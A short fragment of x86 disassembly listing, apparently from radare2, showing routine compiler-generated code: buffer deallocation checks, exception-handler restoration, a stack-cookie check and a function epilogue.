mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f88a
push edx
push ecx
call fcn.00419332
add esp, 8
mov edx, dword [ebp - 0x16c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp edx, 0x10
jb 0x40f860
mov ecx, dword [ebp - 0x180]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f856
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f88a
push edx
push ecx
call fcn.00419332
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004192ef
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004219d1
call fcn.004219d1
call fcn.004219d1
int3